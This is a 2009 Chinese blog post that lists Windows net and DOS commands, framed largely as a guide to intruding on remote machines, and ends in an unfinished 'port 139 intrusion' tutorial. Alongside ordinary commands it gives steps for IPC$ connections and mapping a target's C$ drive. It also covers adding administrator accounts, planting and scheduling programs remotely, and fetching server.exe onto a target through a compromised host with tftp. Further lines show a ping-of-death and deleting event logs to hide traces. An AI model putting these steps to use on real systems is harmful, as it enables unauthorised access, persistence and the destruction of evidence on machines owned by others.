悟心

成功不是將來才有的,而是從決定去做的那一刻起,持續累積而成。上人生的旅途罷。前途很遠,也很暗。然而不要怕。不怕的人的面前才有路。

BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合

:: 管理 ::

93 隨筆 :: 1 文章 :: 103 評論 :: 0 Trackbacks

<

2009年12月

>

日

一

二

三

四

五

六

29

30

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

1

2

3

4

5

6

7

8

9

常用鏈接

留言簿(2)

隨筆分類(91)

隨筆檔案(92)

搜索

閱讀排行榜

評論排行榜

DOS 常用命令

  1 建立到遠程主機的連接
  2 net use \\ip\ipc$ "password" /user:"username"
  3
  4 建立新用戶
  5 net user username password /add
  6
  7 修改用戶密碼
  8 net user username newpassword
  9
10 激活用戶
11 net user username /active:yes
12
13 把用戶加入到用戶組
14 net localgroup groupname username /add
15
16 查看遠程主機的時間
17 net time \\ip
18
19 顯示遠程主機的共享資源列表
20 net view \\ip
21
22 啟動和停止系統服務
23 net start(stop) servicename
24
25 映射對方的硬盤
26 net use z: \\ip\c$
27
28 啟動程序
29 at \\ip time programnane
30
31 文件復制
32 copy filename \\ip\c$\filename
33
34 遠程執行FTP命令
35 echo open servername > c:\ftp.txt
36 echo username >> c:\ftp.txt
37 echo password >> c:\ftp.txt
38 echo get filename c:\filename >> c:\ftp.txt
39 ftp -s:c:\ftp.txt
40 del c:\ftp.txt
41
42 刪除日志
43 del c:\winnt\system32\logfiles\*.*
44 del c:\winnt\ssytem32\config\*.evt
45 del c:\winnt\system32\dtclog\*.*
46 del c:\winnt\system32\*.log
47 del c:\winnt\system32\*.txt
48 del c:\winnt\*.txt
49 del c:\winnt\*.log
50
51
52 訪問對方共享資源
53 net use \\192.168.1.1\c$ /user:administrator "123"
54 如果提示連接成功,你在輸入
55 start \\192.168.1.1\c$
56 就打開目標機的C盤了
57
58 ----------------------------------
59
60 net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
61 net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
62 net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸后映射對方C：到本地為H:
63 net use h: \\ip\c$ 登陸后映射對方C：到本地為H:
64 net use \\ip\ipc$ /del 刪除IPC鏈接
65 net use h: /del 刪除映射對方到本地的為H:的映射
66 net user 用戶名　密碼　/add 建立用戶
67 net user guest /active:yes 激活guest用戶
68 net user 查看有哪些用戶
69 net user 帳戶名查看帳戶的屬性
70 net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員權限,注意：administrator后加s用復數
71 net start 查看開啟了哪些服務
72 net start 服務名　開啟服務；(如:net start telnet， net start schedule)
73 net stop 服務名停止某服務
74 net time \\目標ip 查看對方時間
75 net time \\目標ip /set 設置本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認信息
76 net view 查看本地局域網內開啟了哪些共享
77 net view \\ip 查看對方局域網內開啟了哪些共享
78 net config 顯示系統網絡設置
79 net logoff 斷開連接的共享
80 net pause 服務名暫停某服務
81 net send ip "文本信息" 向對方發信息
82 net ver 局域網內正在使用的網絡連接類型和信息
83 net share 查看本地開啟的共享
84 net share ipc$ 開啟ipc$共享
85 net share ipc$ /del 刪除ipc$共享
86 net share c$ /del 刪除C：共享
87 net user guest 12345 用guest用戶登陸后用將密碼改為12345
88 net password 密碼更改系統登陸密碼
89 netstat -a 查看開啟了哪些端口,常用netstat -an
90 netstat -n 查看端口的網絡連接情況，常用netstat -an
91 netstat -v 查看正在進行的工作
92 netstat -p 協議名例：netstat -p tcq/ip 查看某協議使用情況（查看tcp/ip協議使用情況）
93 netstat -s 查看正在使用的所有協議使用情況
94 nbtstat -A ip 對方136到139其中一個端口開了的話，就可查看對方最近登陸的用戶名（03前的為用戶名）-注意：參數-A要大寫
95 tracert -參數 ip(或計算機名) 跟蹤路由（數據包），參數：“-w數字”用于設置超時間隔。
96 ping ip(或域名) 向對方主機發送默認大小為32字節的數據，參數：“-l[空格]數據包大小”；“-n發送數據次數”；“-t”指一直ping。
97 ping -t -l 65550 ip 死亡之ping(發送大于64K的文件并一直ping就成了死亡之ping)
98 ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用參數“/all”顯示全部配置信息
99 tlist -t 以樹行列表顯示進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
100 kill -F 進程名加-F參數后強制結束某進程(為系統的附加工具，默認是沒有安裝的，在安裝目錄的Support/tools文件夾內)
101 del -F 文件名加-F參數后就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀文件，“DEL/A-S *.*”表示刪除當前目錄下除系統文件以外的所有文件
102
103 #2 二：
104
105 del /S /Q 目錄或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。（二個命令作用相同）
106 move 盤符\路徑\要移動的文件名　存放移動文件的路徑\移動后文件名移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
107 fc one.txt two.txt > 3st.txt 對比二個文件并把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
108 at id號開啟已注冊的某個計劃任務
109 at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止
110 at id號 /delete 停止某個已注冊的計劃任務
111 at 查看所有的計劃任務
112 at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序并重新啟動計算機
113 finger username @host 查看最近有哪些用戶登陸
114 telnet ip 端口遠和登陸服務器,默認端口為23
115 open ip 連接到IP（屬telnet登陸后的命令）
116 telnet 在本機上直接鍵入telnet 將進入本機的telnet
117 copy 路徑\文件名1　路徑\文件名2 /y 復制文件1到指定的目錄為文件2，用參數/y就同時取消確認你要改寫一份現存目錄文件
118 copy c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
119 cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件頭要空三排，參數：/b指二進制文件，/a指ASCLL格式文件
120 copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件（所有文件）至本地C：
121 xcopy 要復制的文件或目錄樹　目標地址\目錄名復制文件和目錄樹，用參數/Y將不提示覆蓋相同文件
122 tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸后，將“IP”的server.exe下載到目標主機c:\server.exe 參數：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進行傳送
123 tftp -i 對方IP　put c:\server.exe 登陸后，上傳本地c:\server.exe至主機
124 ftp ip 端口用于上傳文件至服務器或進行文件操作，默認端口為21。bin指用二進制方式傳送（可執行文件進）；默認為ASCII格式傳送(文本文件時)
125 route print 顯示出IP路由，將主要顯示網絡地址Network addres，子網掩碼Netmask，網關地址Gateway addres，接口地址Interface
126 arp 查看和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
127 start 程序名或命令 /max 或/min 新開一個新窗口并最大化（最小化）運行某程序或命令
128 mem 查看cpu使用情況
129 attrib 文件名(目錄名) 查看某文件（目錄）的屬性
130 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的存檔，只讀，系統，隱藏屬性；用＋則是添加為某屬性
131 dir 查看文件，參數：/Q顯示文件及目錄屬系統哪個用戶，/T:C顯示文件創建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
132 date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間，而不必輸入新日期和時間
133 set 指定環境變量名稱=要指派給變量的字符設置環境變量
134 set 顯示當前所有的環境變量
135 set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
136 pause 暫停批處理程序，并顯示出：請按任意鍵繼續

.
137 if 在批處理程序中執行條件處理（更多說明見if命令及變量）
138 goto 標簽將cmd.exe導向到批處理程序中帶標簽的行（標簽必須單獨一行，且以冒號打頭，例如：“：start”標簽）
139 call 路徑\批處理文件名從批處理程序中調用另一個批處理程序（更多說明見call /?）
140 for 對一組文件中的每一個文件執行某個特定命令（更多說明見for命令及變量）
141 echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設置
142 echo 信息在屏幕上顯示出信息
143 echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
144 findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
145 find 文件名查找某文件
146 title 標題名字更改CMD窗口標題名字
147 color 顏色值設置cmd控制臺前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
148 prompt 名稱更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為：EntSky\ )
149
150 　　139端口入侵
151
152 　　net 命令是139端口入侵的重中之重，整個入侵過程會多次用到它。在命令行窗口下輸入net，可以看到有一大堆參數，別被這一大堆參數嚇懷了，現在我來為你一一講解。
153
154 　　　　net use
155 net use 命令用于與遠程主機建立IPC$(管理)連接，當你有遠程計算機的用戶名(通常用戶名為administrator,記住它)和密碼時，在命令行窗口下輸入net use\\IP\IPC$"password"/user:administrator，你就成功地建立了與遠程計算機的連接。在這之后，可以對其進行管理了。net use 還有一個用處，即映射遠程機器的共享資源，輸入net use z: \\IP\C$ (注意！在此之后的一切命令都是基于第一個命令的，也就是說必須先建立IPC$連接后，這些命令才會成功)，打開“我的電腦”，你會發現多了一個Z盤，里面全是遠程主機C盤下的東西，你在Z盤里刪除了一個文件，對方C盤下的這個文件就也被刪除了，所有對Z盤的操作其實就是對遠程計算機的C 盤的操作。怎么樣，是不是很有意思呢？
156 　　　　net view
157 net view 用于查看遠程計算機有哪些共享資源，通常你會看到my document之類的共享文件夾，輸入net view \\IP即可。我個人認為net view 沒有太大用處，要知道，在Windows2000中，各個硬盤都是共享的，但是如果你用net view 來查看，你會發現并無C,D,E 之類的共享資源。這是為什么呢？注意，在這之前的一些命令中，我們曾輸入過IPC$,C$這樣的奇怪東西，其實，Windows2000中，帶"$"后綴的共享資源是隱藏的，在命令行窗口下是無法看到的，Windows2000中各個盤都是以諸如C$,D$,E$ 這樣的名稱共享的，所以我們看不到，但確實存在，IPC$也是如此。
158 　　　　net share
159 net share 用于開放共享，輸入net share QQ=c:\tencent，你會發現多了一個名為QQ的共享資源。這個命令有慎么作用呢？假設一個主機安全做的不錯，關閉了IPC$,C$,D$ 等共享，那么我們就無法在139端口上建立管理連接，也無法訪問對方的C盤，當我們通過別的手段進入后(如遠程溢出)，我們就可以用net share 開放IPC$，從而轉為熟悉的139端口的入侵，開放IPC$ 的命令為net share IPC$。相應的，如果你想關閉共享，你可以加上/del 后綴，例如net share c$ /del 就關閉了C盤的共享。
160 　　　　net user
161 net user 命令用于管理主機上的用戶，僅輸入不帶任何參數的net user 會列出計算機上所有的用戶名。現在就讓我們看看net user 命令是如何對用戶進行操作的
162
163
164

posted on 2009-12-01 15:54 艾波閱讀(332) 評論(0) 編輯收藏所屬分類: Other

新用戶注冊刷新評論列表


只有注冊用戶登錄后才能發表評論。




網站導航: 博客園 IT新聞 Chat2DB C++博客博問管理
相關文章: MSDN告訴你網址 Tomcat Native Update [轉]Microsoft Office Pro 2010簡體中文版【永久激活】2010-08-30[添加自動備份還原文件下載] 網關：219.128.102.151 Office Visio 2010 VOL X86 簡體中文專業版(SN) 使用記事本打開 Windows 平臺筆記本通過手機藍牙橋接上網教程按聯想筆記本多媒體播放鍵自動彈出MediaPlayer問題的解決方案像螞蟻一樣工作,像蝴蝶一樣生活 DOS 常用命令

悟心

常用鏈接

留言簿(2)

隨筆分類(91)

隨筆檔案(92)

文章檔案(1)

新聞檔案(5)

相冊

1

搜索

最新評論

閱讀排行榜

評論排行榜